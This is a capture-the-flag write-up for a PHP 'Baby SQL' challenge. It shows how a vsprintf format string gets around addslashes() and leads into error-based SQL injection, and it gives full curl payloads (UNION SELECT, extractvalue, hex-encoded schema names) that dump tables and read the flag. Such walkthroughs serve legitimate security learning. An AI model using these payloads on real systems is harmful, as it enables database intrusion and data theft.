Baby SQL has to be one of my favourite challenges from makelaris, he hit the nail on the head in terms of creativity and also learning a new technique that may come in handy.

In this writeup, we will learn to bypass addslashes(), abuse a format string to trigger a SQL injection, and finally read data from the database without using single quotes or double quotes, purely through errors.

Source Code

Let's make sense of the source code.

 <?php require 'config.php'; # Include the config file.

class db extends Connection {
    public function query($sql) { #Define a function called query with a parameter known as "$sql", this will be the query.
        $args = func_get_args(); # We then assign both parameters passed to the func to the $args variable
        unset($args[0]); # We then remove the query string from the array, leaving an array with 'admin' in it.
        return parent::query(vsprintf($sql, $args)); # First, format the 'admin' array into the query, and then run it on the database.
    }
}

$db = new db();

if (isset($_POST['pass'])) { # If the pass post variable is set then
    $pass = addslashes($_POST['pass']); # Run the addslashes function on the pass parameter and assign it to a variable.
    $db->query("SELECT * FROM users WHERE password=('$pass') AND username=('%s')", 'admin'); # Call the query function from the db class.
} else {
    die(highlight_file(__FILE__,1)); # Show this sourcecode
} 

Solution

We can tell this is a SQL Injection vulnerability, as running the query is one of the only things that the script does that we have some control over.

Let's start by looking into what addslashes() does:

Returns a string with backslashes added before characters that need to be escaped. These characters are:
single quote (')
double quote (")
backslash (\)
NUL (the NUL byte)

Cool, so according to the documentation, if we pass a single quote to the addslashes function, it should automatically append a "\" in front of it:

php > echo addslashes('"');
\"
php > echo addslashes("'");
\'

So this is where the challenge starts, we need to break out of a string while also bypassing the addslashes function. Initially, I was looking for some sort of encoding that would allow me to input a ' without addslashes catching it, although that seemed to be a dead end in the newer versions of PHP.

Then I noticed the vsprintf function it runs before running the query on the database. What does vsprintf do?

Operates as sprintf() but accepts an array of arguments, rather than a variable number of arguments.

As you can see, it takes an array, that must be why the 'admin' string is passed as an array. Now, we can't touch the %s seen later on in the query, that will be replaced with admin, however, we can control what will be placed into the $pass variable, and then run through the vsprintf function. Let's do some testing on our local machine.

We can start by making sure our function works:

php > echo vsprintf("Hello %s",['admin']);
Hello admin

Great, now we can start to play with different syntax for the format string. After reading some of the commends from the documentation, it seems you can use your own strings, although at first, I was getting errors for everything I tried:

php > echo vsprintf("Hello %s, my name is %1$a",['admin']);
PHP Notice:  Undefined variable: a in php shell code on line 1
PHP Warning:  vsprintf(): Too few arguments in php shell code on line 1

PHP seems to be trying to read the "a" as a variable name. How can we tell PHP to use it as a literal char, instead of a variable name? Escape it.

php > echo vsprintf("Hello %s, my name is %1$\a",['admin']);
Hello admin, my name is a

Perfect, we see our "a" is interpreted as a string. This also works for words, as seen below:

php > echo vsprintf("Hello %s, my name is %1$\asd",['admin']);
Hello admin, my name is asd

And of course, special characters:

php > echo vsprintf("Hello %s, my name is %1$\'",['admin']);
Hello admin, my name is '

We can send our test payload to the server, and see what we get in response.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\'"
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin')' at line 1

This SQL error tells us that we succesfully broke out of the string, and this consequently caused a server-side error. From here onwards, it is a matter of leaking the table name, and columns, and then finally reading the flag, I will do this avoiding any more double / single quotes as it is additional complexity.

Our next step should be to enumerate the number of columns. This can be done via a UNION SELECT statement. No error is good.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1;#"
The used SELECT statements have a different number of columnschivato@kingdom:~$
chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,2;#"
chivato@kingdom:~$

Perfect, so it is 2 columns, now, we know that errors are enabled as we got our SQL error earlier on. We can now abuse verbose errors to leak information. I have another post on blind SQL injections, and one of the methods used in said post takes advantage of these errors. So we can take inspiration, and implement it into our new challenge's payload:

pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,([SQL QUERY HERE])))#

First, lets read our tables.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,(SELECT table_name FROM information_schema.tables)))#"
Subquery returns more than 1 row
chivato@kingdom:~$
chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,(SELECT group_concat(table_name) FROM information_schema.tables)))#"
XPATH syntax error: 'ALL_PLUGINS,APPLICABLE_ROLES...'chivato@kingdom:~$

That works, now we need to refine. If we can get a hold of the db name, then we can select only the tables from said db. Let's abuse some more errors.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,(SELECT group_concat(table_name) FROM asd)))#"
Table 'db_m412.asd' doesn't exist
chivato@kingdom:~$

When we try and select from a table that doesn't exist, we can see the database error exposes the name. Next we can use hex encoding, to avoid the need for single / double quotes.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema REGEXP 0x64625f6d343132)))#"
XPATH syntax error: 'totally_not_a_flag,users'
chivato@kingdom:~$

There is our table name, now let's see the columns.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema REGEXP 0x64625f6d343132)))#"
XPATH syntax error: 'flag,username,password'
chivato@kingdom:~$

Finally, we can select our flag.

chivato@kingdom:~$ curl -XPOST http://165.232.41.211:30934/ -d "pass=%1$\') UNION SELECT 1,extractvalue(0x0a,concat(0x0a,(SELECT flag FROM totally_not_a_flag)))#"
XPATH syntax error: 'HTB{XXXXXXXXXXXXXXX}'
chivato@kingdom:~$